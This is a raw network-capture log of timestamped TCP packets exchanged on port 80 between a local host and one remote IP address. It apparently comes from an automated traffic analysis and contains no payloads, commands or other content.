Oct 4, 2024 09:52:26.606268883 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.606292963 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.606302977 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.606324911 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.606333971 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.606357098 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.606368065 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.606389999 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.606398106 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.606434107 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.606618881 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.606659889 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.606791019 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.606822968 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.606832027 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.606856108 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.606863022 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.606889963 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.606897116 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.606925011 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.606934071 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.606957912 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.606966019 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.606990099 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.606997967 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.607022047 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.607032061 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.607053041 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.607059956 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.607085943 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.607095003 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.607117891 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.607129097 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.607150078 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.607156038 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.607181072 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.607191086 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.607223034 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.608041048 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.608089924 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.608091116 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.608127117 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.608133078 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.608161926 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.608165979 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.608194113 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.608201981 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.608227968 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.608232975 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.608261108 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.608267069 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.608293056 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.608300924 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.608325958 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.608334064 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.608359098 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.608366013 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.608391047 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.608400106 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.608422995 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.608428001 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.608460903 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.608463049 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.608500004 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.608608961 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.608637094 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.608649969 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.608669996 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.608669996 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.608701944 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.608711004 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.608743906 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.608752966 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.608784914 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.608794928 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.608817101 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.608825922 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.608849049 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.608856916 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.608885050 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.608891010 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.608917952 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.608928919 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.608952045 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.608957052 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.608984947 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.608994007 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.609016895 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.609025955 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.609049082 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.609057903 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.609081030 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.609091043 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.609118938 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.609121084 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.609159946 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.609431982 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.609447956 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.609462023 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.609476089 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.609477043 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.609492064 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.609502077 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.609507084 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.609530926 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.609555006 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.649045944 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.649138927 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.649175882 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.649179935 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.649265051 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.649265051 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.649349928 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.649383068 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.649406910 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.649416924 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.649451971 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.649451971 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.649518967 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.692147970 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.692212105 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.692248106 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.692280054 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.692316055 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.692347050 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.692363024 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.692363024 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.692363024 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.692363024 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.692363024 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.692383051 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.692435980 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.692442894 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.692442894 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.692470074 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.692502022 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.692504883 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.692522049 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.692553997 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.692554951 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.692588091 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.692608118 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.692619085 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.692634106 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.692651987 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.692675114 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.692686081 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.692718983 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.692759037 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.692817926 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.692851067 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.692876101 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.692884922 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.692898035 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.692920923 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.692939997 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.692975044 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.693130970 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.693161964 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.693183899 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.693195105 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.693205118 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.693228006 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.693247080 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.693264008 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.693278074 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.693295002 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.693317890 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.693327904 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.693337917 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.693358898 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.693380117 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.693392038 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.693408012 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.693425894 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.693442106 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.693486929 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.693682909 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.693713903 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.693731070 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.693747044 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.693768978 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.693778038 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.693789959 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.693811893 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.693830967 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.693844080 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.693855047 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.693880081 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.693898916 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.693927050 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.694156885 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.694190025 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.694211006 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.694221973 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.694236040 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.694255114 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.694277048 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.694287062 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.694310904 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.694319010 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.694330931 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.694350958 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.694374084 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.694384098 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.694391966 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.694417000 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.694430113 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.694458008 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.694474936 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.694493055 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.694514990 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.694525957 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.694550037 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.694566011 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.694660902 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.695000887 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.695034981 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.695066929 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.695077896 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.695096970 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.695099115 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.695117950 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.695132017 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.695166111 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.695166111 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.695187092 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.695199013 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.695221901 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.695231915 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.695246935 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.695265055 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.695286036 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.695296049 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.695314884 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.695327044 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.695348024 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.695357084 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.695415020 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.695420980 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.695447922 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.695463896 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.695463896 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.695481062 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.695498943 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.695518970 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.695875883 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.695909023 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.695929050 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.695940018 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.695959091 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.695974112 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.695992947 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.696002960 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.696026087 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.696034908 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.696046114 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.696067095 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.696085930 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.696099043 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.696120977 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.696130991 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.696140051 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.696161985 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.696182966 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.696193933 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.696208954 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.696223974 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.696244955 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.696254015 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.696266890 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.696285963 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.696297884 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.696316957 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.696348906 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.696357965 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.696381092 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.696428061 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.696429014 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.696448088 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.696789980 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.696822882 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.696854115 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.696855068 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.696885109 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.696888924 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.696913958 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.696922064 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.696938038 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.696954012 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.696971893 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.696985006 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.697005033 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.697017908 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.697033882 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.697048903 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.697079897 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.697110891 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.697115898 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.697115898 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.697135925 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.697140932 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.697174072 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.697177887 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.697199106 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.697206020 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.697236061 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.697238922 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.697274923 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.697293997 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.697678089 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.697710037 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.697741985 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.697742939 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.697763920 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.697774887 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.697807074 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.697825909 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.697849989 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.697884083 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.697901964 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.697915077 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.697932959 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.697946072 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.697967052 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.697977066 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.697988033 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.698009014 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.698026896 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.698040009 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.698060989 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.698072910 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.698096991 CEST	49745	80	192.168.2.4	141.98.233.156
